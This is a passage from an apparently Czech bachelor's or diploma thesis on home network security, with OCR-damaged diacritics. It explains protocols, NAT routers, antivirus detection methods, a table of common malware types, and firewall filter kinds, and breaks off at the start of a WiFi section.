Resolution Protocol), ktery naopak hledé IP adresy na zakladé znamé fyzické MAC adresy.
[22]

ICMP

Dalsim protokolem spadajicim do sitové vrstvy je ICM (Internet Control Message
Protocol), ktery slouzi k penosu fidicich dat. Ridici data se tykaji pfedev§im chybovych
stavi a zvlastnich vyjimek, které pii prenosu mohou nastat. Je pouzit kuptikladu
v programech jako ping (test dostupnosti sitového prvku) a traceroute (zjisténi vSech uzla

sit¢, kterymi paket projde, nez dorazi ke svému cili). [22]

TCP

Jedné se o protokol transportni vrstvy, ktery mezi koncovymi aplikacemi vytvaii
virtudlni okruh, vznika tak spojové orientovany pienos dat, nebo také spolehlivy pfenos
dat. Protokol pouziva ¢&isla portti pro identifikaci aplika¢nich protokoli. Blize je TCP
protokol popsan v kapitole 3.1.1 (Transportni vrstva). [22]
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UbDP

Druhy z protokolti transportni vrstvy, poskytuje nespojové orientovany, nebo-li
nespolehlivy pfenos dat. Je vyuzivan zejména pro takové aplikace, které nepotiebuji tak
vysokou miru spolehlivost a upiednostiiuji spiSe rychlost pfenosu. Jiz prvni segment
protokolu obsahuje aplika¢ni data. Aplikacemi pouzivajici UDP jsou tfeba DHCP, TFTP,
SNMP, DNS nebo BOOTP. Podobn¢ jako TCP pouziva i UDP ¢isla portt pro identifikaci
aplika¢nich protokold. Blize je UDP protokol popsan v kapitole 3.1.1 (Transportni vrstva).
[22]

3.1.3 Sit'ové prvky

Dnesni moderni domacnosti maji pomérné vysoké naroky na vyuziti informacnich
technologii ve svém kazdodennim Zivoté. Neni neobvyklé, Ze je v takové domacnosti
piitomno vice pracovnich stanic jako jsou klasické PC, notebooky, tablety, chytré telefony
¢1 barboune systémy. Mezi témito stanicemi je ¢asto vyZadovana vzajemna komunikace a
interakce, ta je nejCastéji realizovana pomoci sité ethernetového typu a sitové topologie
typu hvézda. Centrem takové hvézdy je pak spojovaci (piesnéji feCeno piepinaci) sitovy
prvek, takzvany switch, neboli piepina¢. Pokud jsou navic v domacnosti piitomna jiz
zminovana pienosna zaiizeni jako notebooky a tablety, bude je potfeba pro zachovani
jejich mobility ptipojit k ostatnim stanicim pomoci bezdratove sité. K tomuto ucelu slouzi
sitovy prvek zvany ,,Access point* dale jen AP. Dale do sit¢ musime zatadit sitové prvky
jako je ,,print server“(pro moznost sdileného sitového tisku), nebo router, coz je vlastné¢
smerova¢ umoznujici sdileni internetového piipojeni mezi jednotlivé pracovni stanice,
popftipade jiné prvky v lokdlni siti. Jak z pfedchoziho textu vyplyva, k sestaveni moderni
domadci sité, kterd by pln€ uspokojila naroky dneSnich uzivateld, je zapotiebi pomérné
velkého mnozstvi aktivnich sitovych prvka. Realizace a administrace takové sité je pro
doméacnosti zbytecné slozitd a vzhledem k tomu, Ze valna vétSina zminovanych sitovych
prvkll vyzaduje také vlastni napajeni i neekonomickad zalezitost. Z téchto diivodl se
V soucasnosti integruji v§echny zminované sitové prvky do jednoho zatizeni a tim je prave
posledni zmiflovany router. Diky tomuto faktu miiZeme i z hlediska zabezpeceni

zjednodusené na domaci sit’ nahlizet pouze jako na vzajemnou interakci stanic s routerem.
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3.1.4 Router

Route,r nebo-1i smérovaé, je aktivni sitovy prvek, ktery se v siti chova podobné jako
serverova stanice. Ma tedy jak svoji LAN IP adresu, tak i svoji MAC adresu a v pfipad¢, ze
slouzi jako brana do sité internet md navic také WAN IP adresu ptidélenou DHCP
serverem internetového providera (ISP - Internet service provider). Hlavni funkci routeru
je fyzicky oddélit dvé sitova prostiedi, v domacnosti to nejcastéji byva pravé oddéleni
domaci LAN sité od sité¢ internet (WAN). Dlvody pro takovéto rozdéleni jsou v zasadé
dva. Prvnim diivodem je situace, kdy je zapotiebi do WAN sité pfipojit vice stanic z LAN
sit¢, ptiCemz ISP pro celou LAN sit’ poskytne pouze jednu vetejnou IP adresu. Cely
problém si Ize predstavit jako sklad plny pytli obsahujici IP adresy z obrazku ¢. 3. Rozdil
mezi nimi je v tom, ze pytel WAN muze byt jen jeden a existuji v ném pouze unikatni IP
adresy, které poskytuje ISP. To znamend, ze kazdy server ¢i stanice ma v konkrétnim
casovém okamziku svoji jedine¢nou adresu. Naopak pytld LAN mize byt okolo pytle
WAN mnoho a kazdy muize obsahovat uplné stejné IP adresy jako LAN pytel vedle,
jelikoz si je nahodné ptid€luji sami uzivatelé jednotlivych siti. Celé to pak mize fungovat
jen diky tomu, Ze jednotlivé LAN pytle mezi sebou nekomunikuji pfimo, ale pravé jen a

pouze prostiednictvim pytle WAN. [7] [10]
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Obrazek ¢. 3: Sklad pytla s IP adresami

K tomu, aby spolu mohly sit¢ LAN a WAN komunikovat, i kdyz kazda pouziva
jinou sadu IP adres, je zapotiebi néjaky sitovy prvek, jenz by zprostiedkoval takzvany
pteklad sitovych adres. Timto sitovym prvkem byva nejCastéji pravé router, ktery je
schopen fidit komunikaci stanic zapojenych v domaci siti LAN s venkovni siti typu WAN
a to tak, Ze pozadavek vyslany stanici na jeji vnitini sitové adrese, vySle do internetu na
providerem piidélené vetejné adrese. Naopak odpovéd’ ptichdzejici zpét na nasSi unikatni
vefejnou adresu prepoSle na vnitini [P adresu stanice v naSi LAN siti, ktera pozadavek
vyslala. Dochézi tedy ke zmiflovanému ptekladu sitovych adres, z ¢ehoZ plyne i anglicky
nazev pro tuto technologii ,,Network Address Translation* neboli NAT. Nazorny ptiklad
ptekladu sitovych adres je vidét na obazku ¢. 4.[7][10]
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WAN

NAT
IP: 83.14.137.3

Local network

IP: 182.168.0.1
IF; 192.168.0.10 IP: 192,168,011 IP: 192.168.0.12
§ 8 E

Obrazek ¢. 4: Pireklad sit’ovych adres (NAT) v siti se tifemi PCs [27]

[http://images.dipolnet.com/images/info/00099.gif]

Druhy divod pro¢ pomoci routeru oddélit dvé sit€, nastava v ptipad¢, kdy jedna sit’
ma odliSnou divéryhodnost nez ta druhd. V domacich sitich se opét vétSinou jedna o
domaci LAN sit” a internet, ktery urcité za divéryhodny povazovat nelze. Zakladni funkce
routeru NAT plni v tom piipadé zabezpecovaci roli. Pii odchozi komunikaci PC stanice se
serverem V internetové siti NAT jeSt€ neptedstavuje zadnou barieru. Vyslany packet projde
Z LAN sité pfes branu v podobé domdaciho routeru do sit€¢ WAN a dorazi na adresu
internetového serveru, jehoz adresu v sobé nesl. Packet s odpovédi serveru vsak v sobé
nese pouze informaci o IP adrese naSeho routeru, ne pitimo PC stanice v nasSi LAN siti,
z které pozadavek vySel. Takovy packet tedy dojde na nd$ domaci router, z kterého ovSem

uz nevi na kterou konkrétni IP adresu PC stanice ma smétovat, je tedy routerem odhozen,
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tud nenavratnd ztracen.”! Z tohoto déivodu je pro spravnou funkci nékterych programt,
zejména pak pro ty vyuzivajici ,,peer to peer spojeni, nutné vyuzivat systém smérovani
paketd, nebo-li portforwarding, ktery je blize popsan v mé bakalafské praci na téma
»Bezpecnost domaciho routeru”. Servery ¢i stanice vsiti WAN tedy pifimo nevidi
jednotlivé PC stanice v domadci siti, ale vidi pouze router, ktery je s nimi pfimo zapojen
v siti WAN pomoci WAN portu. Pravé této skutecnosti se da vyborné vyuzit pii ochrané
LAN sité pred nezddoucimi utoky ptichazejicimi z vné&jsi sit€ internet. Pro ito¢nika je pak
pomérné slozité NAT bariéru piekonat, protoze ani nevi, zda za routerem opravdu néjaka
sit’ existuje a nezna adresy jednotlivych stanic. [7]

Nejvétsim nebezpecim pro PC stanice v doméci LAN siti chranéné technologii
NAT je tak predev§im malware, nebo-li Skodlivy software, ktery si uzivatel nainstaluje
nevédomky jako add-ware néjakého jiného software, nebo piimo kvili nedostatecné
znalosti virové problematiky. Z pohledu zkoumané problematiky je nejzajimavéjsi ten
malware, ktery pii své ¢innosti vyuziva sitové prostiedky. Jedna se pfedevsim 0 Cervy
(worms) a trojské koné (trojans). V piipadé, Ze jiz doSlo k nakazeni stanice ,trojanem*
vétSinou nam uz NAT nijak nepomiize, protoze takovému snifferu nebo keyloggeru postaci
jednosmérny provoz smérem ven do internetové sité. Blizsi funkce zmifovanych ,trojant‘
jsou uvedeny v kapitole 3.1.5 konkrétné¢ v tabulce ¢. 2. Existuji vSak i ptipady, kdy nas
NAT ochrani 1 po nakazeni. Pokud se totiz jedna o néjaky slozitéjsi ,,back door trojan®,
ktery ma uto¢nikovi zajistit pfevzeti kontroly nad pocitacem v LAN siti, je jiz zapotiebi
obousmérné komunikace mezi nakazenou stanici v domdci siti a pocitacem utoc¢nika
umisténém ve vnéjsi siti WAN. Jenze, protoze veskerda datova komunikace mezi obéma
sitémi musi projit pfes NAT, uto¢nik neni schopen kvuli vySe uvedenym principtim
zminovanym V souvislosti s prekladem sitovych adres poslat pakety obsahujici instrukce
pro dany ,trojan*“ pfimo na napadenou stanici v LAN siti a jeho pakety tak kon¢i na
routeru, kde jsou zahozeny. Stejné tak ,trojany* instalujici na napadenou stanici né¢jaky
souborovy server nebudou fungovat spravné, protoze se na takto ziizeny server nebude

schopen nikdo z vnéjsi sit¢ WAN napojit.
Router byva casto kombinovan s dalSimi sitovymi prvky jako je switch, ADSL

modem, ¢i kabelovy modem. Jeho soucésti z pravidla byva firewall, kterym se podrobné&;ji

zabyva kapitola 3.1.6. Obvykle je router také vybaven vlastnim DHPC serverem, ktery
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pridéluje jednotlivym stanicim jejich lokalni IP adresy v pfedem nastaveném rozsahu.
Odpada tak zdlouhava konfigurace kazdé stanice zvlast a predchazi se tak pfipadnym

sitovym kolizim zplisobovanych ptitomnosti dvou stejnych IP adres v jedné siti.

3.1.5 Pracovni stanice

Druhou skupinou prvkil v nasem zjednoduseném modelu domadci sité jsou pracovni
stanice. Ty jsou ve vétSiné domacich siti reprezentovany PC stanicemi na platformach
Windows XP/Vista a 7. V dnesni ,,informa¢ni* dobé se vSak do komunikace v domaci siti
zapojuji 1 dalSi zafizeni a to predevSim chytré telefony a tablety, nejCastéji vyuzivajici
operaéni syst¢émy Windows Phone 7, Android a v piipadé iPhonu Apple iOS. I pfies
pomérné velkou diverzifikaci téchto pfistroji a jejich operacnich systémi plati pro
bezpecnost vSech stanic tti zakladni pravidla.

Prvnim je udrzovat aktualizovany operacni systém. V redlném svété neexistuje
dokonaly opera¢ni systém, proto i v prubéhu jeho zivotniho cyklu jsou prubézné tvirci
systému, €1 jeho uZivateli odhalovana slabd mista v kodu, takzvané bezpecnostni diry,
ktera mohou predstavovat nékdy 1 zasadni bezpecnostni riziko pro uzivatele systému. Tyto
,diry* se pak vyvojafi OS snazi zaplatovat riiznymi bezpeCnostnimi balicky, pomoci
kterych je nutné systém aktualizovat. Ptikladem z historie, kdy takovato dira poslouzila
jako vstupni brana pro Skodlivy software, mize byt kuptikladu virus Blaste, o némz
oficialni web podpory spolenosti Microsoft hovoti takto: ,,11. srpna 2003 zahajila
spolecnost zkoumani cCerva, kterd byla oznamena prostfednictvim sluzby (podpory
spole¢nosti Microsoft) a Microsoft PSS Security Team vydal vystrahu, aby informoval
zdkazniky o novém typu &erva. Cerv je typ poéitatového viru, ktery se obvykle §ifi bez
pri¢inéni uzivatele a ktery sam o sob¢ distribuuje své uplné kopie (ptipadné pozméneéné)
do pocitacovych siti (naptiklad Internet). Tento novy cerv zneuziva chybu zabezpeceni,
ktera byla oznacena spolecnosti Microsoft jako MS03-026 (823980). K vlastnimu Sifeni

«I26l- Tento virus ve své

vyuziva otevienych portl sluzby Remote Procedure Call (RPC).
dobé zptisobil mnoha uzivatelim nemalé potize, kdyz se prostfednictvim internetové sité
Sifil doslova rychlosti blesku a zplisoboval nepietrzity vynuceny restart systému. Diky
tomu, ze ke svému Sifeni vyuzival standardni prostiedky systému, nebyly ho soudobé

antivirové programy schopny zachytit.
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Tim se dostavame ke druhému pravidlu zabezpeceni pracovni stanice. Jedna se o
pouziti néjakého antivirového softwaru, ktery je schopen zneskodnit, nebo alespoii
vyhledat Skodlivé programy piedstavujici bezpecnostni riziko (ptikladem takového
programu miiZze byt jiz zminovany Blaster). Jedna z definic antiviru tika: ,,Antivirovy
program slouzi k celkovému zabezpeceni pocitace pred Skodlivymi programy a daty®. [25]
S timto strohym tvrzenim lze bezpochyby souhlasit, ovS§em bylo by dobré zde nastinit

alespon zakladni principy fungovani antivirovych programt.

Soucasné antivirové programy pracuji ve dvou rezimech, jedna se o rezimy on-
demand a on-access. Rezim on-demand spociva vtom, ze sam uzivatel musi spustit
vyhledavaci sekvenci antiviru a az poté se zacne Skodlivy software detekovat (tento rezim
je v antivirech reprezentovan rtiznymi druhy skenert). Naproti tomu v rezimu on-access
bézi antivirus na pozadi systému a detekuje veSkeré podezielé chovani spusténych procest.
Tento rezim je v praxi reprezentovan raznymi druhy rezidentnich §titt. [8]

Pro odhalovani Skodlivého softwaru, nebo-li malware (patfi sem pocitacové viry,
trojské koné, Cervy, rootkity, spyware atd.) se v dneSni dobé pouziva tfi zakladnich
technik. Prvni je odhalovani malware podle zndmé virové databaze. Antivirovy program
pak vyhledava viry podle znamych signatur virtt obsazenych v této databazi. Signatura je
V tomto piipadé vétSinou reprezentovana pro virus piiznacnou Casti strojového kodu, nebo
tteba CRC souctem. Druhou metodou je genericka detekce. Generickou detekci popisuje
Igor Hak ve své praci takto: ,,Obvykle se touto metodou hleda ,,univerzalni“ signatura,
ktera se vyskytuje v podobné, nebo v nezménéné formé ve vice virech soucasné. Muze jit
napiiklad 0 n€které typické replikacni mechanismy viri, které se jiz z jejich povahy musi
nutné objevit. Genericka detekce se tak ¢asto uplatiluje pii detekci mnohych variant havéti,
které vznikaji z plGvodni verze jen drobnymi Upravami (odliSnd destrukéni akce, jiné
vypisované zpravy atd.). Také byva casto vyuzivana pii detekci vir,, které vznikly
odliSnym nastavenim jednoho z mnoha generatorii virt.”® Posledni metodou je heuristicka
analyza. V podstaté jde o rozbor kddu hledajici postupy pro Cinnost vir typické nebo
n&jak podezielé."! Spolu s generickou detekci je tato metoda jedinou u&innou pri
odhalovani takzvanych ,,zero day* virti. Jedna se o velmi nové viry, které v dob¢ jejich
vypusténi zpravidla nebyly popsany zadnou dostupnou virovou databazi. Je také velice

efektivni pfi odhalovani polymorfnich virli, coZ jsou viry, které po kazdé své replikaci
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néjakym zpisobem méni sviij kod a tim i jejich signatury. Heuristickd analyza mitize byt
vyuzita bud’ pasivné, nebo aktivné. Pfi pasivni metod¢ je nejcastéji soucasti n¢jakého
rezidentniho Stitu a hleda podezielé vzorce chovani ve spusténych procesech bézicich
V operanim systému. Aktivni metoda je naopak pouzivana pfi on-demand rezimu, jako
soucast skenovaci procedury. Pro provedeni analyzy je ovSem nutné podeziely program
spustit. To je samoziejm¢ za normalnich okolnosti nemyslitelné, obzvlasté kdyz nevime,
jak se bude podeziely program piesné chovat. Z tohoto divodu je pii analyze touto
metodou vyuzivano takzvaného ,,sandboxu®. Jedna se o technologii podobnou virtualizaci
systému, pomoci které¢ se program oddéli od skute¢nych systémovych prostfedki a je
spustén ve specialnim virtudlnim prostiedi, kde je pak simulovan a analyzovan jeho béh. S
heuristickou analyzou jsou spojeny také takzvané ,(false positive® nalezy, jednd se o
falesné poplachy, nebo-li regulérni programy, jejichz Cinnost antivirus vyhodnoti jako
nebezpeénou a piifadi ji k chovani né&jakého malware. Casto se jednd o cracky, ¢&i
generatory klicl, muze se vSak jednat 1 0 regulérni programy, které pro své spravné
fungovani potiebuji modifikovat soubory operacniho systému apod. [8]

Nejznaméjsi druhy atokt a malware, proti kterym antivirové programy nejcastéji

stoji, jsou uvedeny v tabulce ¢. 2.
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Druh malware

Funkce

Odposlouchavani pfistupovych jmen a hesel, Cisel

Sy kreditnich karet

keylogger Sledovani (zdznam) znaku zadavanych z klavesnice
Sleduje uZivatele a jeho zvyklosti pfi surfovani na

spyware

Internetu a posila o tom zpravy

back door (zadni
vratka) trojan

Trojsky kan obsahuje sitovou sluzbu, kterou maze
uto€nik pouzit pro ziskani pfistupu do systému pres
pocCitaCovou sit

spam server

Rozesilani nevyzadané elektronické posty (e-mail) z
napadeného pocitaCe

souborovy server

Trojsky kan nainstaluje souborovy server - napf. FTP,
IRC bota nebo néjaky P2P program - ktery je poté
pouzit bud pro stahovani soubor( uzivatele, nebo pro
ukladani soubord majitelem trojského koné (napf.
warezu nebo malware).

proxy trojan

Maskuje ostatni jako infikované pocitace.

security software
disabler

Zablokuje software pro zabezpeceni PC
(Firewall,Antivir)

denial-of-service

Trojsky kan ucastnici se DoS utoku.

Pfesmérovava infikované pocitace pfipojené pres

NSO vytacené pfipojeni k Internetu na drazsi tarify.
Specificky druh malware, vyznacujici se pfredevsim
schopnosti utajit sou pfitomnost v pocitaci. Vyuziva

rootkit k tomu kupfikladu schovani procesu z task manageru,

neviditelné systémové slozky, Ci prostory na disku
urcené k zaloze systému.

rogue security

FaleSny antivirovy program, ktery je ve skuteCnosti

software virus.
Technika podvrzeni obsahu webovych stranek
phishing (nejCastéji banky Ci platebni brany) vedouci k ziskani

citlivych informaci o uzivateli utonikem. (velmi ucinné
ve spojeni s utokem na DNS)

Tabulka ¢&. 2: Piehled nejznaméjsiho malware 24
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Poslednim tfetim pravidlem je pfitomnost firewallu. Pokud bychom uvazovali
pouze samotné stanice, jednalo by se o softwarové teseni. Jelikoz se vSak prace zabyva
bezpecnosti domaci sité jako celku, neni vylouceno pouziti firewallu hardwarového. Proto

se souhrnné této problematice vénuje az nasledujici kapitola 3.1.6.

3.1.6 Firewall

Firewall je softwarova nebo hardwarova brana nejéastéji umisténa mezi dve sité o
rozdilné diivéryhodnosti, ptes kterou prochazi veSkera datova komunikace mezi témito
sitémi. Tato brdna je pak na zaklad¢ urCitych piesné definovanych pravidel schopna
posoudit a rozhodnout, ktera data propusti dale a ktera naopak zahodi. Jedna se tak o
idedlIni nastroj pro aplikaci bezpecnostni politiky nad LAN siti, kdy Ize timto zpisobem
filtrovat nezadouci, ¢i dokonce nebezpecnou datovou komunikaci, nejcastéji ptichazejici
ze sit¢ WAN. S trochou nadséazky si lze firewall ptedstavit jako hrani¢ni pfechod mezi
dvéma staty, kde celnici dikladné prohlizeji kazdé zavazadlo a do své zem¢ vpusti pouze
toho, jehoz zavazadlo vyhovuje mistnim zakoniim a natizenim. Firewall tedy misto toho,
aby kontroloval ptfitomnost drog a zbrani v zavazadlech, kontroluje ptitomnost virti a
jiného nezadouciho obsahu v datech.

Samotny firewall z pravidla obsahuje hned nékolik funkci pomoci kterych
chrani danou sit’ i stanici. Pfitom pfesny seznam funkci neni nijak piesné specifikovan a
1i$1 se dle konkrétniho pouzitého produktu. AvSak bez nékterych elementarnich funkci by
se neobesel zadny firewall, patii sem piedev§im rizné druhy datovych filtri a filtry domén,
¢1 MAC adres. Jednotlivé filtry a jejich pfesnd funkce bude blize popsana a vysvétlena
Vv nasledujicich odstavcich této kapitoly. Nyni bych vSak rdd upozornil na n€které funkce,
které nebyvaji zcela obvyklé a patii feknéme k nadstandardu. Patii sem piedevs§im funkce
IDS (Intrusion Detection Systems) a ,,Deep Inspection®. [11]

Sluzba ,,Intrusion Detection Systems* by se voln¢ dala ptelozit jako systém detekce
utoktll. Jedna se o systém vcasného odhaleni, pfipadné rovnou zablokovani, aktivnich utoki
typu DoS (Denial of Service neboli Odmitnuti Sluzby) a DDoS (distributed denial of

service attack). DoS je takovy druh ttoku, kdy se Gto¢nik snaZzi zahltit urcity klicovy prvek
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sit€¢ (nejCast&ji server, nebo naptiklad router) béznymi pozadavky jako je tieba dotaz na
velikost odezvy, neboli ping serveru apod. V ptipadé DDoS se pak jedna o vylepSenou
verzi metody DoS, kdy se do utoku zapoji synchronizované vice pocitaci najednou.
Ugastnici takového atoku piitom ani nemusi védét, Ze se této ¢innosti zacastiiuji. Casto se
totiz jednd o nedostateéné¢ zabezpeCené stanice, které¢ utocnik zneuziva pro redistribuci
DoS utoku. Vysledkem uspésného DoS utoku je vyrazné zpomaleni napadeného sitového
prvku, v hor$im pfipadé jeho uplné vyrazeni z provozu. Toho nasledné muze uto¢nik
vyuzit k podstréeni faleSného obsahu, jako je tomu v pfipadé napadeni DNS servert, nebo
K odpojeni celych podsiti, coz mize mit predev§im ve firemnim sektoru za nasledek
nemalé finan¢ni ztraty. U domacich siti pak naopak hrozi zneuziti prosttedkti dané sité pro
samotnou realizaci DDoS ttoku, proto i1 v oblasti domacich ma funkce IDS svoje
opodstatnéni. IDS funguje na podobném principu jako nékteré antivirové programy,
detekce je provadéna pomoci databdze signatur a heuristické analyzy. Takto je systém
schopen detekovat 1 vzorce Utokli ve zdanlivé nesouvisejicich pokusech o spojeni, napf.
skenovani adresniho rozsahu, rozsahu portii, zndmé signatury utokil uvnitt povolenych
spojeni apod.m Mezi nejznaméjsi utoky zalozené na DoS principu, které by mél byt kazdy
dobry firewall byt v dneSni dobé schopen detekovat, patii SYN Attack, WinNuke, Port
Scan, Ping of Death, nebo kuptikladu Land Attack. [12][1]

Firewally dneSnich domacich routerdi V zavislosti na zvoleném typu zafizeni
nabizeji i n¢které dalsi bezpe€nostni funkce. Velmi Casto se v routrech objevuje funkce
zakazu pingu z WAN sité, pomoci které mizeme pomérné snadno i bez vyuziti funkce IDS
sit’ ochranit pfed nékterymi typy DoS utokl zaloZzenych na principech DOS utoku ,,Ping of
Dead®, jenz k napadeni svého cile zneuziva pravé piikazu ping. Zapnuti této funkce také
napomaha utajeni LAN sité, protoZze piipadny uGto¢nik nachazejici se ve WAN siti  si
pomoci piikazu ping nemuze nijak ovéfit, zda je na dané IP adrese aktivné pfipojen néjaky
sitovy prvek ¢i ne.

Dalsi funkci, ktera je obvykle dostupna v routrech stfedni tfidy, je ,,SPI mod* nebo
taky ,,Deep Inspection® (DI). Jedna se funkci umoznujici nechat hloubkové provéfovat
validitu jednotlivych packetti Gcastnicich se datové komunikace mezi LAN a WAN siti.
Lze tak zamezit pfipadnému ,tunelovani® n€kterych znamych protokolu. Tato funkce je

blize rozebrana v kapitole ,,Pokro¢ilé stavové filtry s DI/AT“. [11][9]
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Softwarové firewally jdou v oblasti vybavy jesté dal, kdy de facto supluji nékteré
funkce antivirovych programti. Mimo programovych filtri a hloubkové analyzy paketi tak
nabizeji tfeba ochranu integrity dat opera¢niho systému nutnych pro jeho chod, nebo

odhalovani nejriznéjsiho spyware jako jsou keyloggery apod.

Il|”f

AN
- II

Firewall
Obrizek & 5: Firewall stiezici komunikaci mezi LAN a WAN siti

[http://cs.wikipedia.org/wiki/Soubor:Firewall.png]

Jak jiz bylo feCeno, nedilnou soucésti kazdého firewallu vychdzejicitho ze
samotného principu jeho fungovani jsou filtry. Mizeme je rozdé€lit na filtry datove, které
jak uZ ndzev napovida pracuji s jednotlivymi datovymi pakety tvofici sitovou komunikaci,
nebo na filtry adres, kam mizeme fadit filtry domén a filtry IP, ¢i MAC adres. V dnes
dostupnych firewallech se pouziva hned nékolik riznych druht datovych filtrd, které maji
riznou slozZitost implementace. Od toho se také odviji zplsob filtrovani paketl a jejich
efektivita. V neposledni fadé ma pouzity datovy filtr nemaly vliv i na vyslednou cenu

firewallu.
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Jednoduché paketové filtry

Hierarchicky nejstarS§im a zaroven nejjednodus$im dnes pouzivanym datovym
filtrem je filtr ,paketovy“. Tento filtr vyuziva metody, kdy je pfesné¢ definovano mezi
jakymi dvéma IP adresami a porty mohou data prochazet. Datové pakety jsou tedy
kontrolovany na tfeti a ¢tvrté trovni sitového komunika¢niho modelu ISO/OSI. Hlavni
vyhodou tohoto filtru je pfedev§sim vysoka rychlost zpracovani dat, vyplyvajici
Z jednoduchosti jeho implementace. Ptes jeho relativni technickou zastaralost tak nalezne
tento jednoduchy datovy filtr vyuziti i dnes, pfedev§im v piipadech, kdy je potieba
prenaset velké mnozstvi dat pfi zachovani co nejvyssi rychlosti. Dani za vysokou rychlost
zpracovani priichozich dat je ovSem v podstaté neexistujici hlubsi analyza zpracovavanych
paketd. To S sebou piinasi i néktera bezpetnostni rizika, kdy pfi pouzivani piedevsim
slozitéjSich protokoli jako je FTP &i protokolii na streamovani audio a video soubort,
musime pro jejich spravné fungovani otevtit i pfislusné porty. Ty vSak mohou byt v dobé
neaktivity téchto protokoli zneuzity itocnikem a poslouzit mu k piekonani firewallu. Mezi
nejznaméjsi pouzivané filtry fungujici na tomto principu patii ACL (Access Control Lists),

ktery je soucasti nékterych star§ich hardware firewallt od firmy Cisco Systems. [7]

Stavové paketové filtry

Za urCity mezistupenn ve vyvoji datovych filtrGi Ize povazovat ,,stavové paketové
filtry*. Pracuji sice na podobném principu jako piedchozi jednoduché paketové filtry,
avSak s tim rozdilem, Ze jsou schopné v sobé uchovavat informace o v minulosti aspésné
navazanych spojenich. Diky tomu nasledné¢ mohou sami vyhodnocovat, zda nové piichozi
pakety spadaji do skupiny jiz povolenych spojeni ¢i nikoli a museji se teprve zucastnit
rozhodovaciho procesu. Tento princip filtrovani tak zachovdva vysokou rychlost
zpracovani dat, pfiCemz do procesu filtrovani ptindsi i uréitou analyzu zpracovavanych dat
a tim podstatné zlepSuje bezpec¢nost filtru. Navic diky schopnosti tohoto filtrovaciho
systému ,,ucit se“ a pamatovat si jednotlivé protokoly neni nutné definovat IP adresu a
ptislusny port pro oba sméry komunikace. U jiz zndmych protokold tedy postaci, kdyz
povolime klientovi piistup na server a komunikace smérem ke klientovi, véetné otevieni

ptislusnych porti, jiz probéhne zcela automaticky. Zasadnim vylepSenim je i moznost
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vytvareni takzvaného virtudlniho stavu spojeni pro bezstavové protokoly, jako napi. UDP a
ICMP. Z hlediska zabezpeceni miizeme tyto filtry oznacit jako stiedné bezpecné, pricemz
jejich hlavni vyhodou je vysoka rychlost a o mnoho snaz§i a efektivnéj$i zpasob

konfigurace, nez je tomu u klasickych paketovych filtra. [7]

Stavové paketove filtry s DI/Al

Dnesni moderni stavové packetoveé filtry jdou ovSem jesté dal a mimo pokrocilych
funkci, jako je schopnost zapamatovavat si jednotlivé protokoly a posléze pro jejich fidici a
datové pienosy dynamicky otevirat pfislusSné porty, dokdZzou 1 rozpoznat piisluSnost
packetu k ur¢itému konkrétnimu protokolu. Tato hloubkova analyza packetii se nejcastéji
nazyva ,.Deep Inspection® (DI) ¢i ,,Application Intelligence*(Al), pficemz firewally
vybavené touto funkci patii k dnesni Spicce v oboru zabezpeceni. Dokazou odhalit 1 velmi
pokrocilé techniky utoku, kdy se utocnik pokousi pies firewall proniknout pomoci
Htunelovani néjakého zndmého protokolu, u kterého je pravdépodobné, ze ma piistup skrz
filtr povolen. Vysoka uroven zabezpeceni v podob¢ hloubkové analyzy dat si ovSem vybira
svou dan na ukor snizeni rychlosti zpracovani dat a to o celou tfetinu oproti klasickym
stavovym filtrim. Nejvétsi nevyhodou téchto filtri je ale predevsim fakt, ze jsou oproti
jednoduchym stavovym filtriim realizovany pomoci velmi obsahlého a slozitého kédu,
ktery mize obsahovat vétSi mnoZstvi potencidlné slabych mist, které mohou byt v ptipadé

jejich vypatrani itoénikem zneuzity k prolomeni firewallu.[7][9]

TCP Data Nllc Basebt  ZIP - TCP Data
Protocol Encoding Archive Stream

Stream

Encapsulation Decoding Stages
Obriazek & 6: Zapouzdieni datového packetu

[http://www.sircles.net/ TheStore/images/deep packetl.gif]
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Filtry domén

Tyto filtry slouZzi k blokovani pfistupu stanicim z nas$i LAN sité na nami zvolené,
Z bezpecnostniho hlediska rizikové, nebo jiného divodu nechténé, domény v internetu.
Domény nemusime piimo blokovat, ale miizeme pouze zaznamenavat kdy kterd stanice
danou doménu navstivila ¢i se ji pokusila navstivit, ale pristup byl zamitnut. Pro doménové
filtry 1ze také vétSinou pomoci konkrétni IP adresy ¢i jejiho rozsahu nastavit vyjimku pro
nékteré stanice v LAN siti, kterych se pak tyto opatfeni nebudou tykat.

Specialni odridou doménového filtru je pak funkce ,,URL blocking* (blokovani
URL), kterou také nékteré lepsi routery podporuji. Na rozdil od doménového filtru se zde
nezadavaji pfimo domény, které chceme blokovat, ale pouze kli¢ova slova. Pokud tieba
zadame jako kli€¢ové slovo ,,warez*, budou pro naSi domaci sit’ blokovany vSechny domény
obsahujici v ndzvu toto slovo. Vyhoda spociva pifevazné v tom, ze timto zplisobem
muzeme odfiltrovat n€kolikandsobné¢ vice domén nez pomoci klasického doménového

filtru. [7]

Filtry MAC adres

Jak uz bylo zminéno diive MAC (Media Access Control) je unikatni fyzické adresa
kazdého aktivniho sitového prvku. Filtrovaci funkce znama jako ,,MAC Address Control*
slouzi k povoleni, nebo naopak k zakazani ptistupu pc stanicim do nasi LAN sité. Timto
zpusobem lze preferovat, nebo naopak diskriminovat stanice umisténé jak v LAN siti, tak 1
ve vné¢jsi sitt WAN. Muzeme tak snadno povolit piistup do nasi LAN sit€¢ pouze nami
vybranym stanicim a ostatnim ptistup zakéazat. Pomoci této funkce Ize taky donutit DHCP
server, aby ke konkrétnim MAC adresam piidéloval stale stejnou IP adresu, to se hodi

predevsim pro LAN servery, na které jsou forwardované néjaké komunikaéni porty. [7]

3.2 Ethernet IEEE 802.11 (WiFi)

Jak jiz bylo feceno vySe, v domdcich sitich je v dneSni dobé¢ také hojné vyuzivana
bezdratova technologie WiFi, ktera namisto klasickych metalickych kabelt §ifi data volné
vzduchem pomoci modulace elektromagnetického vinéni. Také diky v poslednich letech

masivnimu rozsifeni pfenosnych osobnich pocitacli jako jsou notebooky, tablety a chytré
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telefony se zabudovanou WiFi kartou, tento druh siti postupné v oblasti domaciho vyuziti
vytlacuje klasické kabelové sité. Pfenos dat v siti je zajiStovan pomoci zafizeni zvané AP
(Access Point), nebo-li ptistupovy bod. Ten musi fungovat zaroven jako vysila¢ i pfijimac,
protoze veskera komunikace mezi dvéma body v bezdratové siti prochazi praveé pies AP.
Jedna se tedy o topologii typu hvézda. V dnesni dobé se AP jiz bézné integruje i do
levnéjSich routeri a vznika takzvany WiFi router. Protoze se jedna o kombinované zatizeni
